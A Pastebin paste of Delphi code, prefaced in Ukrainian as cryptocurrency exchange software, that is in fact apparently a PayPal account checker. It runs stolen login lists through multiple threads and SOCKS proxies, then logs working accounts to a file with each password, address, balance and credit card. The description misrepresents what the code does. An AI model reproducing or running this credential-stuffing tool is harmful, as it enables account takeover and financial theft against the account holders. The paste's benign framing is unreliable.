Advertisement
Guest User

Untitled

a guest
Jun 12th, 2017
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.40 KB | None | 0 0
  1. Розроблено програмне забезпечення, що реалізує роботу з крипто валютою.
  2. Головна процедура обміну крипто валютою має наступний код:
  3. procedure TForm1.sButton5Click(Sender: TObject);
  4. var
  5. Way, StrTime:string;
  6. i,z: integer;
  7. begin
  8. StrTime:=TimeToStr(Time);
  9. for z:=1 to Length(StrTime) do
  10. if StrTime[z]=':' then StrTime[z]:='_';
  11. begin
  12. CreateDir(ExtractFilePath(Application.ExeName)+'/PayPal_'+strtime);
  13. Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'/PayPal_'+strtime+'/'+'GoodFile_'+DateToStr(date)+'.txt');
  14. Rewrite(GoodFile);
  15. Closefile(GoodFile);
  16. Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'/PayPal_'+strtime+'/'+'BadFile_'+DateToStr(date)+'.txt');
  17. Rewrite(BadFile);
  18. Assignfile(NoBalance, ExtractFilePath(Application.ExeName)+'/PayPal_'+strtime+'/'+'NoBalance_'+DateToStr(date)+'.txt');
  19. Rewrite(NoBalance);
  20. Closefile(NoBalance);
  21. Assignfile(Balance, ExtractFilePath(Application.ExeName)+'/PayPal_'+strtime+'/'+'Balance_'+DateToStr(date)+'.txt');
  22. Rewrite(Balance);
  23. Closefile(Balance);
  24. end;
  25. Append(GoodFile);
  26. Writeln(GoodFile,'// Вопрос: Я увидел знаки вопроса в место имени, адреса, странные символы. Что делать?');
  27. Writeln(GoodFile,'// Ответ: Ничего, дело в том, что имя / адресс, написаны на китайском, японском языках.');
  28. Writeln(GoodFile,'// - В следующих обновлениях, думаю, мы устраним проблему.');
  29. Closefile(GoodFile);
  30. if scombobox1.ItemIndex=0 then typeofproxy:='socks';
  31. bad:=0;
  32. good:=0;
  33. podel:=':';
  34. errors:=0;
  35. work:=true;
  36. iac:=-1;
  37. ipp:=-1;
  38. sGauge1.Progress:=0;
  39. sGauge1.MaxValue:=accs.Count;
  40. sLabel10.Caption:=inttostr(accs.Count);
  41. for I := 0 to sspinedit1.Value-1 do begin
  42. SetLength(yPClient, i+1);
  43. yPClient[i]:=PClient.Create(False);
  44. yPClient[i].Priority:=tpLowest;
  45. yPClient[i].FreeOnTerminate:=True;
  46. yPClient[i].Resume;
  47. end;
  48. sButton6.Enabled:=true;
  49. sButton5.Enabled:=false;
  50. sButton1.Enabled:=false;
  51. sButton2.Enabled:=false;
  52. sButton4.Enabled:=false;
  53. sSpinEdit1.Enabled:=false;
  54. end;
  55. Процедура забезпечення безпеки:
  56. var
  57. Way, StrTime:string;
  58. z: integer;
  59. begin
  60. if rez=1 then begin
  61. good:=good+1;
  62. if Form1.sCheckBox1.Checked=true then
  63. begin
  64. beep;
  65. end;
  66. add(self.login+';'+self.pass,user_card,type_money);
  67. form1.sLabel5.Caption:=IntToStr(good);
  68. Append(GoodFile);
  69. Writeln(GoodFile,#10+'=================================');
  70. Writeln(GoodFile,'Username: '+self.login);
  71. Writeln(GoodFile,'Password: '+self.pass);
  72. Writeln(GoodFile,'Name: '+user_wel);
  73. Writeln(GoodFile,'Primary E-mail: '+self.login);
  74. Writeln(GoodFile,'Address: '+trim(user_adress));
  75. Writeln(GoodFile,'Paypal Balance: '+type_money);
  76. Writeln(GoodFile,'Measure: '+measure);
  77.  
  78. Writeln(GoodFile,'Кредитная карта: '+user_card);
  79. Writeln(GoodFile,'Account type: '+type_status);
  80. Writeln(GoodFile,'Status: '+status);
  81. Writeln(GoodFile,'Last log in: '+trim(user_last));
  82. Writeln(GoodFile,'Country: страна'+#10);
  83.  
  84. Writeln(GoodFile,'Socks: '+socks_type);
  85. StrTime:=TimeToStr(Time);
  86. for z:=1 to Length(StrTime) do
  87. if StrTime[z]=':' then StrTime[z]:=':';
  88. begin
  89. Writeln(GoodFile,'Check Date: '+strtime+' '+DateToStr(date));
  90. end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement